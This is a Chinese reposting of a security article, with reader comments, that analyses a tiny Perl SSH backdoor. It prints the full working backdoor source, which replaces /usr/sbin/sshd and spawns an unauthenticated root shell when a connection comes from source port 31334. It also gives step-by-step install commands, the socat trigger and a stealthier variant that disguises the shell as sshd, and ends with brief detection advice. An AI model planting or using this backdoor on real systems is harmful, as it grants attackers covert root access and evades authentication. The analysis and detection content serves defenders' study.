热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

一款短小精致的SSH后门分析

*本文作者:knpewg85942,本文属FreeBuf原创奖励计划,未经许可禁止转载0×00.引言在《利用系统特性伪装成一个免密登陆后门》一文中,我介绍过利用系统特性伪装成一个ssh系统后门,不

* 本文作者:knpewg85942,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×00. 引言

在《利用系统特性伪装成一个免密登陆后门》一文中,我介绍过利用系统特性伪装成一个ssh系统后门,不过,这个后门需要新开一个端口,而本文介绍的这个后门只需要系统上开放了ssh服务就行了,不需要额外的开放端口,详情见正文

0×01. 正文

1. 后门简介

这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下  

sshd后门源码:

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

这段代码的意思:

第一行, 如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则 ..zf,上述代码中的zf是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket  (一般只有攻击者指定连接的源端口才能触发这一行的执行)

第二行  启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象)

补充:

在网络通信当中,大多传递的数据是以二进制流(binary data)存在的。当传递字符串时,不必担心太多的问题,而当传递诸如int、char之类的基本数据的时候,就需要有一种机制将某些特定的结构体类型打包成二进制流的字符串然后再网络传输,而接收端也应该可以通过某种机制进行解包还原出原始的结构体数据。python中的struct模块就提供了这样的机制:

python中的struct模块

2.  如何使用后门

这里做个实例演示

被控端(Victim)    10.1.100.3      Kali

控制端               10.1.100.2       centos7

1) 在被控端执行以下操作

将真正的sshd 移至/usr/bin/sshd,

mv /usr/sbin/sshd /usr/bin/sshd

将后门sshd (perl脚本移动至/usr/sbin/sshd),并授予执行权限

    chmod +x /usr/sbin/sshd 

重启 ssh 服务

重启ssh 服务

2) 在控制端执行以下操作

socat STDIO TCP4:10.1.100.3:22,sourceport=31334

这行命令的意思是说,将输入输出重定向至于socket 10.1.100.3:22 (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为31334

这行命令等价于 socat -TCP4:10.1.100.3:22,sourceport=31334

这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell 了)成功获取控制端系统 shell

成功获取控制端系统 shell

我们看一下被控端

被控端

22 端口是sh 和 控制端连接,程序名是ssh ,而不是正常的sshd

为了增强隐秘性, 我们可以将copy 一份/bin/sh, 重命名为/bin/sshd

,修改后门源码为:

#!/usr/bin/perl
exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

控制端再次连接:

控制端再次连接

现在已经变成了sshd ,伪装性更强!

3. 为什么这个后门不需要认证

这和OpenSSH 服务特性有关,OpenSSH 和其他的网络服务一样,都会fork一个子进程处理用户连接, 但是有一点和其他网络服务不一样,新fork的子进程不会直接处理用户连接,而是重新在子进程中重新运行自身,也就是/usr/sbin/sshd (就是OpenSSH自身二进制文件) ,所以用户的连接是被重新运行的/usr/sbin/sshd 实例给处理了。重新运行/usr/sbin/sshd 就会执行后门的第一行代码。从而反弹shell且无需认证。 对于新fork的子进程来说,文件句柄STDIN/STDOUT 就和当前的socket关联在一起了。 (要想了解更深入的原理,需要去查看OpenSSH的源码了)

sshd.c 部分截图

sshd.c 部分截图

默认重新执行自身的标识是为1

4. OpenSSH 为什么在子进程中重新运行自身?

从OpenSSH 3.9 以后的版本都有这样的特性,目的有2:

 1)这样每次重新运行自身自后,每一个新连接的执行时间都是不一样的

  2)为了ASLR 更加有效,每个连接的内存布局都是不一样的

OpenSSH 在子进程中重新运行自身

0×02. 总结

其实这款后门也比较好发现,首先正常的sshd 文件是ELF格式,而后门是纯文本脚本,使用file 命令就可以发现

用file 命令发现后门

另外也可以定期检测系统关键文件的hash是否发生变化,位置是否发生变化,这样就能发现是否有异常

* 本文作者:knpewg85942,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

已有 16 条评论

  • 屌丝绅士 (5级) 做自己的自己 和平年代的炮灰,战争年代的爆破鬼才 2017-07-28 回复1楼

    隐藏性说的这么好,发现也是那样容易,真让人摸不到头脑

    亮了(5)
    • 幻辰 (1级) 2017-07-28 回复

      @ 屌丝绅士  是因为一般人不会去关心那两个文件啊。。。你会每次上vps之后先file一下吗

      亮了(3)
    • knpewg85942 (3级) 为了台湾的回归,努力研究安全 2017-07-28 回复

      @ 屌丝绅士  你的评论我很喜欢,很好!

      亮了(0)
  • 123123  2017-07-28回复2楼

    感谢,已加入HIDS规则

    亮了(2)
  • hackjason8 (1级) www.hackjason.com 2017-07-28 回复3楼

    xx

    亮了(1)
  • al0ne_ (2级) 学海无涯 2017-07-28 回复4楼

    之前一直在用sshbd 虽然有点老了 但是还算不错

    亮了(0)
  • Pale (2级) 2017-07-28 回复5楼

    "定期检测系统关键文件的hash是否发生变化" 集中离线多点收集,比较要紧

    亮了(0)
  • test  2017-07-28回复6楼

    修正下命令:
    socat – TCP4:10.1.100.3:22,sourceport=31334

    亮了(1)
  • test  2017-07-28回复7楼

    文章写的很详细,楼主有心了,感谢。

    亮了(0)
  • 焦Jie  2017-07-28回复8楼

    这个厉害了

    亮了(0)
  • 东方欲晓的晓东 (1级) 东方欲晓,莫道君行早。踏遍青山人未老,风景这边独好。 2017-07-28 回复9楼

    这个厉害

    亮了(0)
  • 北风乱 (1级) 2017-07-28 回复10楼

    root@kali:~# socat STDIO TCP4:192.168.198.142:22,sourceport=31334
    SSH-2.0-OpenSSH_5.3

    Protocol mismatch.
    出现了这个怎么解决?? = =

    亮了(0)
    • 北风乱 (1级) 2017-07-28 回复

      @ 北风乱  我在kali里面放这个后门,就能连接上。但是在ubuntu和centos里面放这个后门,连接就会出现protocol mismatch。

      亮了(0)
  • rako  2017-07-28回复11楼

    每次执行时间不一样?有什么用处?

    亮了(0)
  • 妓术总奸々 (1级) 2017-07-28 回复12楼

    有心了

    亮了(0)
  • tndfng  2017-07-28回复13楼

    OSSEC会把/usr/亲爱的in目录下面的东西都进行监控


推荐阅读
  • 在Delphi7下要制作系统托盘,只能制作一个比较简单的系统托盘,因为ShellAPI文件定义的TNotifyIconData结构体是比较早的版本。定义如下:1234 ... [详细]
  • C语言中全部可用的数学函数有哪些?2.longlabs(longn);求长整型数的绝对值。3.doublefabs(doublex);求实数的绝对值。4.doublefloor(d ... [详细]
  • 本文详细介绍了在 Ubuntu 系统上搭建 Hadoop 集群时遇到的 SSH 密钥认证问题及其解决方案。通过本文,读者可以了解如何在多台虚拟机之间实现无密码 SSH 登录,从而顺利启动 Hadoop 集群。 ... [详细]
  • 本文详细介绍了 PHP 中对象的生命周期、内存管理和魔术方法的使用,包括对象的自动销毁、析构函数的作用以及各种魔术方法的具体应用场景。 ... [详细]
  • 开机自启动的几种方式
    0x01快速自启动目录快速启动目录自启动方式源于Windows中的一个目录,这个目录一般叫启动或者Startup。位于该目录下的PE文件会在开机后进行自启动 ... [详细]
  • 在尝试对 QQmlPropertyMap 类进行测试驱动开发时,发现其派生类中无法正常调用槽函数或 Q_INVOKABLE 方法。这可能是由于 QQmlPropertyMap 的内部实现机制导致的,需要进一步研究以找到解决方案。 ... [详细]
  • 本文详细探讨了几种常用的Java后端开发框架组合及其具体应用场景。通过对比分析Spring Boot、MyBatis、Hibernate等框架的特点和优势,结合实际项目需求,为开发者提供了选择合适框架组合的参考依据。同时,文章还介绍了这些框架在微服务架构中的应用,帮助读者更好地理解和运用这些技术。 ... [详细]
  • 本文介绍了如何利用Shell脚本高效地部署MHA(MySQL High Availability)高可用集群。通过详细的脚本编写和配置示例,展示了自动化部署过程中的关键步骤和注意事项。该方法不仅简化了集群的部署流程,还提高了系统的稳定性和可用性。 ... [详细]
  • 本文详细解析了 Android 系统启动过程中的核心文件 `init.c`,探讨了其在系统初始化阶段的关键作用。通过对 `init.c` 的源代码进行深入分析,揭示了其如何管理进程、解析配置文件以及执行系统启动脚本。此外,文章还介绍了 `init` 进程的生命周期及其与内核的交互方式,为开发者提供了深入了解 Android 启动机制的宝贵资料。 ... [详细]
  • 本文介绍了如何在 Windows 系统上利用 Docker 构建一个包含 NGINX、PHP、MySQL、Redis 和 Elasticsearch 的集成开发环境。通过详细的步骤说明,帮助开发者快速搭建和配置这一复杂的技术栈,提升开发效率和环境一致性。 ... [详细]
  • 2018年9月21日,Destoon官方发布了安全更新,修复了一个由用户“索马里的海贼”报告的前端GETShell漏洞。该漏洞存在于20180827版本的某CMS中,攻击者可以通过构造特定的HTTP请求,利用该漏洞在服务器上执行任意代码,从而获得对系统的控制权。此次更新建议所有用户尽快升级至最新版本,以确保系统的安全性。 ... [详细]
  • 本文介绍了几种常用的图像相似度对比方法,包括直方图方法、图像模板匹配、PSNR峰值信噪比、SSIM结构相似性和感知哈希算法。每种方法都有其优缺点,适用于不同的应用场景。 ... [详细]
  • 本文介绍如何使用线段树解决洛谷 P1531 我讨厌它问题,重点在于单点更新和区间查询最大值。 ... [详细]
  • 在分析Android的Audio系统时,我们对mpAudioPolicy->get_input进行了详细探讨,发现其背后涉及的机制相当复杂。本文将详细介绍这一过程及其背后的实现细节。 ... [详细]
  • SSL 错误:目标主机名与备用证书主题名称不匹配
    在使用 `git clone` 命令时,常见的 SSL 错误表现为:无法访问指定的 HTTPS 地址(如 `https://ip_or_domain/xxxx.git`),原因是目标主机名与备用证书主题名称不匹配。这通常是因为服务器的 SSL 证书配置不正确或客户端的证书验证设置有问题。建议检查服务器的 SSL 证书配置,确保其包含正确的主机名,并确认客户端的证书信任库已更新。此外,可以通过临时禁用 SSL 验证来排查问题,但请注意这会降低安全性。 ... [详细]
author-avatar
榴莲牛奶
这个家伙不是很懒,但是也没留下什么!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有